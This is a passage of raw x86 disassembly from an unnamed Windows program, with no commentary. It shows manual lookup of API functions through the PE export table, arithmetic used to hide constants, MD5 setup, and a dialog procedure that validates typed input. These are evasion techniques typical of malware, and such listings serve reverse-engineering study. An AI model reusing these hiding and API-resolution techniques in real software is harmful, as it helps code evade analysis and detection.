mov ds:dword_449020[edi*4], esi
movsx eax, word_5510A0
add eax, dword_5510C4
sub eax, 10h
cmp [ebp+var_10080], eax
jbe loc_44485E
mov esi, dword_551114
add esi, 0FFF9h
add esi, dword_5510B4
mov ds:word_48BA10[edi*2], si
mov eax, dword_5510A8
add eax, dword_551128
sub eax, 0Fh
mov [ebp+var_10088], eax
jmp short loc_444840
; ---------------------------------------------------------------------------
loc_4447CF: ; CODE XREF: sub_4441D8+67Ej
mov edi, [ebp+var_10088]
mov dl, ds:byte_44B1B0[edi]
cmp dl, [ebp+var_10055]
jnz short loc_44483A
mov esi, edi
shl esi, 2
mov edx, [ebp+var_1005C]
cmp ds:dword_449020[esi], edx
jnz short loc_44483A
mov edx, dword_5511A0
cmp ds:dword_44A0E0[esi], edx
jz short loc_44483A
movzx edi, ds:word_48BA10[edi*2]
mov esi, dword_5510D0
add esi, 0FFF8h
movsx edx, word_551268
add esi, edx
cmp edi, esi
jz short loc_44483A
mov edi, [ebp+var_10088]
lea edi, ds:48BA10h[edi*2]
inc word ptr [edi]
jmp short loc_44487B
; ---------------------------------------------------------------------------
loc_44483A: ; CODE XREF: sub_4441D8+60Aj
; sub_4441D8+61Ej ...
inc [ebp+var_10088]
loc_444840: ; CODE XREF: sub_4441D8+5F5j
mov eax, dword_55124C
add eax, 3DCh
add eax, dword_5510E8
cmp [ebp+var_10088], eax
jb loc_4447CF
jmp short loc_44487B
; ---------------------------------------------------------------------------
loc_44485E: ; CODE XREF: sub_4441D8+5C1j
mov edi, [ebp+var_10054]
mov esi, dword_55117C
add esi, dword_551230
sub esi, 9
mov ds:word_48BA10[edi*2], si
loc_44487B: ; CODE XREF: sub_4441D8+660j
; sub_4441D8+684j
call ds:dword_54EB70
mov edi, [ebp+var_10054]
mov ds:dword_4CDA50[edi*4], eax
lea esi, off_5512C0
mov ds:dword_44A0E0[edi*4], esi
mov edi, [ebp+var_10054]
lea edi, ds:44A0E0h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov edi, [ebp+var_10054]
lea edi, ds:44A0E0h[edi*4]
mov [ebp+var_10070], edi
mov [ebp+var_10078], 9
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
inc [ebp+var_10054]
lea eax, [ebp+var_10078]
push eax
call ds:dword_550154
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444914: ; CODE XREF: sub_4441D8+148j
; sub_4441D8+162j ...
cmp [ebp+var_10044], 0
jz short loc_444929
mov eax, [ebp+var_10044]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444929: ; CODE XREF: sub_4441D8+743j
mov eax, dword_55109C
movsx edx, word_551220
add eax, edx
sub eax, 8
cmp [ebp+var_4], eax
jz short loc_444948
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444948: ; CODE XREF: sub_4441D8+107j
; sub_4441D8+765j
inc [ebp+var_1C]
loc_44494B: ; CODE XREF: sub_4441D8+B6j
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_444293
loc_444957: ; CODE XREF: sub_4441D8+9Fj
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444960: ; CODE XREF: sub_4441D8+80j
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_44496B: ; CODE XREF: sub_4441D8+57j
; sub_4441D8+203j
pop edi
pop esi
pop ebx
leave
retn
sub_4441D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444970 proc near ; CODE XREF: sub_4423A6+DCp
; sub_4423A6+14Ep
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_444986: ; CODE XREF: sub_444970+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_444986
mov [ebp+var_4], eax
mov edi, dword_551258
sub edi, 1
jmp short loc_444A0B
; ---------------------------------------------------------------------------
loc_44499B: ; CODE XREF: sub_444970+9Ej
mov al, [esi+edi]
cmp al, 2Eh
jz short loc_4449AE
cmp al, 2Fh
jz short loc_4449AE
movzx eax, [ebp+arg_8]
cmp edi, eax
jnb short loc_4449CD
loc_4449AE: ; CODE XREF: sub_444970+30j
; sub_444970+34j
push offset word_551B62
call sub_43AC94
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_50EA28
add esp, 10h
jmp short loc_4449FC
; ---------------------------------------------------------------------------
loc_4449CD: ; CODE XREF: sub_444970+3Cj
push offset byte_551B5D
call sub_43AC94
push eax
push ebx
call ds:dword_44802C
push offset byte_551B55
call sub_43AC94
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_50EA28
add esp, 1Ch
loc_4449FC: ; CODE XREF: sub_444970+5Bj
lea eax, [ebp+var_7]
push eax
push ebx
call ds:dword_44802C
add esp, 8
inc edi
loc_444A0B: ; CODE XREF: sub_444970+29j
cmp edi, [ebp+var_4]
jb short loc_44499B
pop edi
pop esi
pop ebx
leave
retn
sub_444970 endp
; =============== S U B R O U T I N E =======================================
sub_444A15 proc near ; CODE XREF: sub_43E491+2Ap
push edi
push offset byte_551B47
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_551298, eax
movsx eax, word_5511CC
add eax, dword_551158
sub eax, 7
cmp eax, dword_551298
jnz short loc_444A5C
push offset asc_551B39 ; "\n"
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_551298, eax
loc_444A5C: ; CODE XREF: sub_444A15+2Ej
mov eax, dword_551128
sub eax, 7
cmp dword_551298, eax
jz short loc_444A8F
mov eax, dword_5510DC
movsx edx, word_551168
add eax, edx
sub eax, 6
push eax
push dword_551298
call ds:dword_44B1AC
mov ds:dword_448024, eax
loc_444A8F: ; CODE XREF: sub_444A15+55j
pop edi
retn
sub_444A15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444A91 proc near ; CODE XREF: sub_441AE5+11p
var_10E = byte ptr -10Eh
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_44B5B0
mov eax, dword_5511D4
mov edx, dword_5510B4
sub edx, 4
mov [ebp+eax+var_10E], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call ds:dword_4CEA04
push offset byte_551B31
call sub_43AC94
push [ebp+var_10C]
push eax
push edi
call ds:dword_50EA28
add esp, 10h
mov eax, dword_55117C
sub eax, 5
mov [ebp+var_4], eax
jmp short loc_444B50
; ---------------------------------------------------------------------------
loc_444B21: ; CODE XREF: sub_444A91+D0j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_444B37
cmp al, 5Ah
jg short loc_444B37
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_444B37: ; CODE XREF: sub_444A91+98j
; sub_444A91+9Cj
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 39h
jg short loc_444B4D
cmp al, 30h
jl short loc_444B4D
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_444B4D: ; CODE XREF: sub_444A91+AEj
; sub_444A91+B2j
inc [ebp+var_4]
loc_444B50: ; CODE XREF: sub_444A91+8Ej
mov eax, dword_55113C
add eax, dword_551138
sub eax, 4
cmp [ebp+var_4], eax
jb short loc_444B21
pop edi
leave
retn
sub_444A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444B66 proc near ; CODE XREF: sub_43F4C7+22Ap
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_289 = byte ptr -289h
var_274 = byte ptr -274h
var_25F = byte ptr -25Fh
var_252 = byte ptr -252h
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = byte ptr -220h
var_21F = byte ptr -21Fh
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
push ebx
push esi
push edi
mov edi, dword_551108
mov esi, [ebp+arg_0]
movsx edx, word_55111C
lea ecx, [edi+edx+0Eh]
shr esi, cl
mov edx, dword_551184
lea edi, [edi+edx+6]
mov ecx, edi
mov ebx, esi
shl ebx, cl
loc_444B98: ; CODE XREF: sub_444B66+4Dj
; sub_444B66+84j ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_444BB5
mov eax, dword_5511C0
add eax, 10000h
sub ebx, eax
jmp short loc_444B98
; ---------------------------------------------------------------------------
loc_444BB5: ; CODE XREF: sub_444B66+3Fj
mov eax, dword_551090
add eax, 3Bh
add eax, dword_5511A0
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, [edx]
add eax, ebx
mov [ebp+var_118], eax
mov ecx, [ebp+arg_0]
cmp eax, ecx
jbe short loc_444BEC
mov eax, dword_5511B8
add eax, 0FFF9h
sub ebx, eax
jmp short loc_444B98
; ---------------------------------------------------------------------------
loc_444BEC: ; CODE XREF: sub_444B66+76j
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_444C12
movsx eax, word_551220
add eax, 0FFFFh
sub ebx, eax
jmp short loc_444B98
; ---------------------------------------------------------------------------
loc_444C12: ; CODE XREF: sub_444B66+9Aj
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_44799C
mov eax, dword_551198
add eax, dword_5511A0
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_444C74
; ---------------------------------------------------------------------------
loc_444C52: ; CODE XREF: sub_444B66+11Fj
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 7Ah
jge short loc_444C71
cmp al, 61h
jle short loc_444C71
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_444C71: ; CODE XREF: sub_444B66+F8j
; sub_444B66+FCj
inc [ebp+var_4]
loc_444C74: ; CODE XREF: sub_444B66+EAj
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
cmp eax, dword_5511C0
jnz short loc_444C52
mov eax, dword_551230
movsx edx, word_5511C8
add edx, eax
cmp byte ptr [ebp+edx+var_108], 32h
jz short loc_444CFF
mov edx, dword_5511D8
movsx ecx, word_5510EC
mov esi, edx
add esi, ecx
cmp byte ptr [ebp+esi+var_108], 52h
jz short loc_444CFF
cmp byte ptr [ebp+edx+var_108+3], 4Ch
jz short loc_444CFF
cmp byte ptr [ebp+eax+var_108], 4Bh
jz short loc_444CFF
mov eax, dword_5510F4
add eax, dword_55110C
cmp byte ptr [ebp+eax+var_108], 33h
jz short loc_444CFF
mov eax, dword_5511B4
movsx edx, word_551260
add eax, edx
cmp byte ptr [ebp+eax+var_10C], 45h
jnz loc_444F61
loc_444CFF: ; CODE XREF: sub_444B66+137j
; sub_444B66+152j ...
mov eax, dword_551124
add eax, dword_55121C
sub eax, 9
mov [ebp+var_108], eax
jmp loc_444F4C
; ---------------------------------------------------------------------------
loc_444D18: ; CODE XREF: sub_444B66+3F5j
mov eax, [ebp+var_110]
mov edx, ebx
add edx, [eax+20h]
mov [ebp+var_22C], edx
mov eax, [ebp+var_108]
mov [ebp+var_228], eax
mov ecx, dword_5510A8
sub ecx, 4
mul ecx
mov [ebp+var_230], eax
mov eax, [ebp+var_22C]
mov edx, [ebp+var_230]
add eax, edx
mov [ebp+var_10C], eax
mov eax, [eax]
add eax, ebx
mov [ebp+var_224], eax
push eax
lea eax, [ebp+var_21F]
push eax
call sub_44799C
mov eax, dword_551128
add eax, dword_55121C
cmp byte ptr [ebp+eax+var_228+2], 47h
jnz loc_444F46
mov eax, dword_551158
add eax, dword_55126C
cmp byte ptr [ebp+eax+var_228+3], 50h
jnz loc_444F46
mov eax, dword_55113C
movsx edx, word_551180
add eax, edx
cmp [ebp+eax+var_220], 72h
jnz loc_444F46
mov eax, dword_55110C
add eax, dword_55119C
cmp byte ptr [ebp+eax+var_230+3], 74h
jnz loc_444F46
movsx eax, word_55112C
add eax, dword_5510C4
cmp byte ptr [ebp+eax+var_228+1], 63h
jnz loc_444F46
mov eax, dword_5510E0
add eax, 6
add eax, dword_5510C8
cmp [ebp+eax+var_21F], 41h
jnz loc_444F46
mov eax, [ebp+var_110]
mov eax, [eax+24h]
add eax, ebx
mov [ebp+var_290], eax
mov eax, [ebp+var_108]
mov ecx, dword_5511B8
add ecx, dword_551198
sub ecx, 8
mul ecx
mov [ebp+var_294], eax
mov eax, [ebp+var_290]
mov edx, [ebp+var_294]
add eax, edx
mov [ebp+var_114], eax
movzx eax, word ptr [eax]
mov [ebp+var_234], eax
movsx ecx, word_551194
sub ecx, 3
mul ecx
mov [ebp+var_298], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_238], edx
mov ds:dword_44B1AC, edx
lea edi, [ebp+var_252]
lea esi, aInitializecrit ; "InitializeCriticalSection"
mov ecx, 0Dh
rep movsw
mov dword_55127C, ebx
lea edi, [ebp+var_25F]
lea esi, aCreatethread ; "CreateThread"
mov ecx, 0Dh
rep movsb
lea edi, [ebp+var_274]
lea esi, aLeavecriticals ; "LeaveCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_289]
lea esi, aEntercriticals ; "EnterCriticalSection"
mov ecx, 15h
rep movsb
lea eax, [ebp+var_289]
push eax
push dword_55127C
call ds:dword_44B1AC
mov ds:dword_54EA5C, eax
lea eax, [ebp+var_274]
push eax
push dword_55127C
call ds:dword_44B1AC
mov ds:dword_4CDA40, eax
lea eax, [ebp+var_25F]
push eax
push dword_55127C
call ds:dword_44B1AC
mov ds:dword_550020, eax
lea eax, [ebp+var_252]
push eax
push dword_55127C
call ds:dword_44B1AC
mov ds:dword_449FCC, eax
jmp short loc_444F61
; ---------------------------------------------------------------------------
loc_444F46: ; CODE XREF: sub_444B66+21Ej
; sub_444B66+237j ...
inc [ebp+var_108]
loc_444F4C: ; CODE XREF: sub_444B66+1ADj
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_444D18
loc_444F61: ; CODE XREF: sub_444B66+193j
; sub_444B66+3DEj
pop edi
pop esi
pop ebx
leave
retn
sub_444B66 endp
; =============== S U B R O U T I N E =======================================
sub_444F66 proc near ; CODE XREF: sub_44718F+67p
arg_0 = dword ptr 4
push ebx
push esi
mov ecx, [esp+8+arg_0]
mov esi, dword_55119C
add esi, dword_5511D4
movsx ebx, word_5510EC
add ebx, 0EFCDAB89h
mov [ecx+esi*4-3Ch], ebx
movsx esi, word_55120C
mov ebx, dword_551164
lea esi, [esi+ebx+2]
mov ebx, dword_55122C
add ebx, 98BADCFDh
mov [ecx+esi*4], ebx
mov esi, dword_551158
movsx ebx, word_5510AC
mov edx, dword_551118
lea ebx, [ebx+edx+10325466h]
mov [ecx+esi*4+8], ebx
mov esi, dword_551114
add esi, dword_5511D0
movsx ebx, word_551214
add ebx, 674522FEh
mov [ecx+esi*4-14h], ebx
pop esi
pop ebx
retn
sub_444F66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444FE7 proc near ; DATA XREF: sub_43CD37+10B4o
; sub_43CD37+1104o ...
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_219 = byte ptr -219h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov eax, ebx
cmp eax, 100h
jz short loc_445018
jl loc_445592
cmp eax, 111h
jz loc_4450B0
jmp loc_445592
; ---------------------------------------------------------------------------
loc_445018: ; CODE XREF: sub_444FE7+19j
cmp [ebp+arg_8], 9
jnz loc_445592
mov eax, dword_551184
mov edi, eax
add edi, dword_55109C
sub edi, 0Fh
jmp short loc_44509F
; ---------------------------------------------------------------------------
loc_445034: ; CODE XREF: sub_444FE7+C2j
mov eax, 30h
mul edi
mov [ebp+var_208], eax
cmp esi, ds:dword_4CC664[eax]
jnz short loc_445069
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_4CC668[eax]
call ds:dword_48B9FC
jmp loc_445592
; ---------------------------------------------------------------------------
loc_445069: ; CODE XREF: sub_444FE7+61j
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
cmp esi, ds:dword_4CC660[eax]
jnz short loc_44509E
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_4CC664[eax]
call ds:dword_48B9FC
jmp loc_445592
; ---------------------------------------------------------------------------
loc_44509E: ; CODE XREF: sub_444FE7+96j
inc edi
loc_44509F: ; CODE XREF: sub_444FE7+4Bj
mov eax, dword_551174
add eax, 63h
cmp edi, eax
jb short loc_445034
jmp loc_445592
; ---------------------------------------------------------------------------
loc_4450B0: ; CODE XREF: sub_444FE7+26j
mov edi, dword_5510F4
sub edi, 2
jmp short loc_4450D5
; ---------------------------------------------------------------------------
loc_4450BB: ; CODE XREF: sub_444FE7+101j
mov eax, 30h
mul edi
mov [ebp+var_208], eax
mov eax, ds:dword_4CC66C[eax]
cmp [ebp+arg_C], eax
jz short loc_4450EA
inc edi
loc_4450D5: ; CODE XREF: sub_444FE7+D2j
mov eax, dword_551174
add eax, 63h
movsx edx, word_55120C
add eax, edx
cmp edi, eax
jb short loc_4450BB
loc_4450EA: ; CODE XREF: sub_444FE7+EBj
mov eax, dword_551244
add eax, 5Dh
cmp edi, eax
jz loc_445592
movsx eax, word_551144
add eax, dword_5511F0
mov byte ptr [ebp+eax+var_210+3], 7Ch
mov eax, dword_5510A4
add eax, dword_55122C
mov byte ptr [ebp+eax+var_210+2], 4Bh
mov eax, dword_551204
mov edx, dword_551108
sub edx, 2
mov byte ptr [ebp+eax+var_208+3], dl
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_4CC658[eax]
call ds:dword_550038
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
add esp, 8
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_4CC660[eax]
call ds:dword_550038
mov eax, dword_5510C8
movsx edx, word_551188
add eax, edx
sub eax, 5
movsx edx, [ebp+var_103]
cmp eax, edx
jnz short loc_44520B
push offset word_551B0E
call sub_43AC94
pop ecx
mov edx, dword_55109C
add edx, dword_5511F4
sub edx, 0Ch
push edx
mov edx, dword_551250
sub edx, 2
push edx
push eax
mov edx, dword_55114C
sub edx, 6
push edx
call ds:dword_50EA38
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_4CC660[eax]
call ds:dword_48B9FC
jmp loc_445592
; ---------------------------------------------------------------------------
loc_44520B: ; CODE XREF: sub_444FE7+1CDj
push offset byte_551B09
call sub_43AC94
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44802C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_4CC664[eax]
call ds:dword_550038
mov eax, dword_551200
sub eax, 3
movsx edx, [ebp+var_103]
cmp eax, edx
jnz short loc_4452C2
push offset byte_551AE7
call sub_43AC94
pop ecx
mov edx, dword_5511F8
sub edx, 7
push edx
mov edx, dword_55125C
sub edx, 5
push edx
push eax
mov edx, dword_551154
sub edx, 7
push edx
call ds:dword_50EA38
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_4CC664[eax]
call ds:dword_48B9FC
jmp loc_445592
; ---------------------------------------------------------------------------
loc_4452C2: ; CODE XREF: sub_444FE7+28Aj
push offset word_551AE2
call sub_43AC94
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44802C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_4CC668[eax]
call ds:dword_550038
movsx eax, word_55115C
add eax, dword_5511C0
sub eax, 3
movsx edx, [ebp+var_103]
cmp eax, edx
jz loc_44545F
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_44533F: ; CODE XREF: sub_444FE7+35Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_44533F
movsx ecx, word_551274
add ecx, dword_55125C
sub ecx, 2
cmp eax, ecx
jb loc_44545F
movsx eax, word_551214
sub eax, 3
mov [ebp+var_105], al
jmp short loc_445392
; ---------------------------------------------------------------------------
loc_445370: ; CODE XREF: sub_444FE7+3C4j
movzx eax, [ebp+var_105]
mov al, [ebp+eax+var_103]
cmp al, 39h
jg short loc_445386
cmp al, 30h
jge short loc_44538B
loc_445386: ; CODE XREF: sub_444FE7+399j
jmp loc_44545F
; ---------------------------------------------------------------------------
loc_44538B: ; CODE XREF: sub_444FE7+39Dj
add [ebp+var_105], 1
loc_445392: ; CODE XREF: sub_444FE7+387j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_44539B: ; CODE XREF: sub_444FE7+3B9j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_44539B
movzx ecx, [ebp+var_105]
cmp ecx, eax
jb short loc_445370
movsx eax, word_5511CC
add eax, dword_5511D8
sub eax, 0Dh
mov [ebp+var_104], al
jmp short loc_44543B
; ---------------------------------------------------------------------------
loc_4453C5: ; CODE XREF: sub_444FE7+46Dj
mov al, [ebp+var_104]
mov [ebp+var_219], al
jmp short loc_4453FC
; ---------------------------------------------------------------------------
loc_4453D3: ; CODE XREF: sub_444FE7+42Ej
movzx eax, [ebp+var_219]
movsx eax, [ebp+eax+var_103]
movzx edx, [ebp+var_104]
movsx edx, [ebp+edx+var_103]
cmp eax, edx
jnz short loc_445417
add [ebp+var_219], 1
loc_4453FC: ; CODE XREF: sub_444FE7+3EAj
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_445405: ; CODE XREF: sub_444FE7+423j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_445405
movzx ecx, [ebp+var_219]
cmp ecx, eax
jb short loc_4453D3
loc_445417: ; CODE XREF: sub_444FE7+40Cj
movzx eax, [ebp+var_219]
movzx edx, [ebp+var_104]
sub eax, edx
mov edx, dword_551160
sub edx, 2
cmp eax, edx
jg short loc_44545F
add [ebp+var_104], 1
loc_44543B: ; CODE XREF: sub_444FE7+3DCj
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_445444: ; CODE XREF: sub_444FE7+462j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_445444
movzx ecx, [ebp+var_104]
cmp ecx, eax
jb loc_4453C5
jmp loc_4454F8
; ---------------------------------------------------------------------------
loc_44545F: ; CODE XREF: sub_444FE7+349j
; sub_444FE7+371j ...
mov eax, dword_551130
add eax, 7CCh
movsx edx, word_551274
add eax, edx
push eax
call ds:dword_50EA24
push offset byte_551AA9
call sub_43AC94
mov [ebp-21Ch], eax
push offset word_551A92
call sub_43AC94
movsx edx, word_5510E4
push edx
push eax
mov edx, [ebp-21Ch]
push edx
push dword_551100
call ds:dword_50EA38
push offset word_551A8E
call sub_43AC94
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp+var_220], eax
mov edx, eax
push ds:dword_4CC668[edx]
call ds:dword_54EA54
mov eax, 30h
mul edi
mov [ebp+var_224], eax
push ds:dword_4CC668[eax]
call ds:dword_48B9FC
jmp loc_445592
; ---------------------------------------------------------------------------
loc_4454F8: ; CODE XREF: sub_444FE7+473j
push offset byte_551A89
call sub_43AC94
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44802C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
mov eax, 30h
mul edi
mov [ebp+var_228], eax
push ds:dword_4CC658[eax]
call ds:dword_48C1E8
lea eax, [ebp+var_204]
push eax
call ds:dword_449014
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp+var_22C], eax
push ds:dword_4CC654[eax]
call ds:dword_54EA58
mov eax, 30h
mul edi
mov [ebp+var_230], eax
mov eax, dword_5511E0
add eax, dword_551204
sub eax, 0Ch
mov edx, [ebp+var_230]
mov ds:dword_4CC650[edx], eax
loc_445592: ; CODE XREF: sub_444FE7+1Bj
; sub_444FE7+2Cj ...
mov eax, dword_5511D8
mov edi, eax
add edi, dword_551264
sub edi, 0Ah
jmp loc_44567B
; ---------------------------------------------------------------------------
loc_4455A7: ; CODE XREF: sub_444FE7+69Ej
mov eax, 30h
mul edi
mov [ebp+var_8], eax
cmp esi, ds:dword_4CC660[eax]
jnz short loc_4455DE
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_C], eax
push ds:dword_4CC670[eax]
call ds:dword_4CE9FC
jmp loc_44568B
; ---------------------------------------------------------------------------
loc_4455DE: ; CODE XREF: sub_444FE7+5D1j
mov eax, 30h
mul edi
mov [ebp+var_10], eax
cmp esi, ds:dword_4CC664[eax]
jnz short loc_445612
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_14], eax
push ds:dword_4CC674[eax]
call ds:dword_4CE9FC
jmp short loc_44568B
; ---------------------------------------------------------------------------
loc_445612: ; CODE XREF: sub_444FE7+608j
mov eax, 30h
mul edi
mov [ebp+var_18], eax
cmp ds:dword_4CC65C[eax], esi
jnz short loc_445646
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_1C], eax
push ds:dword_4CC67C[eax]
call ds:dword_4CE9FC
jmp short loc_44568B
; ---------------------------------------------------------------------------
loc_445646: ; CODE XREF: sub_444FE7+63Cj
mov eax, 30h
mul edi
mov [ebp+var_20], eax
cmp ds:dword_4CC668[eax], esi
jnz short loc_44567A
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_24], eax
push ds:dword_4CC678[eax]
call ds:dword_4CE9FC
jmp short loc_44568B
; ---------------------------------------------------------------------------
loc_44567A: ; CODE XREF: sub_444FE7+670j
inc edi
loc_44567B: ; CODE XREF: sub_444FE7+5BBj
mov eax, dword_551198
add eax, 61h
cmp edi, eax
jb loc_4455A7
loc_44568B: ; CODE XREF: sub_444FE7+5F2j
; sub_444FE7+629j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_444FE7 endp
; =============== S U B R O U T I N E =======================================
sub_445692 proc near ; DATA XREF: .data:005512D0o
mov eax, 80004001h
retn 10h
sub_445692 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44569A proc near ; CODE XREF: sub_442DEC+95p
; sub_442DEC+19Ap
var_1001C = dword ptr -1001Ch
var_10003 = byte ptr -10003h
var_FFFF = byte ptr -0FFFFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_44797C
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, dword_4CC540
cmp [ebp+arg_4], 43h
jnz short loc_4456BF
lea edi, dword_44B0A0
loc_4456BF: ; CODE XREF: sub_44569A+1Dj
cmp [ebp+arg_4], 50h
jnz short loc_4456CB
lea edi, dword_4CD930
loc_4456CB: ; CODE XREF: sub_44569A+29j
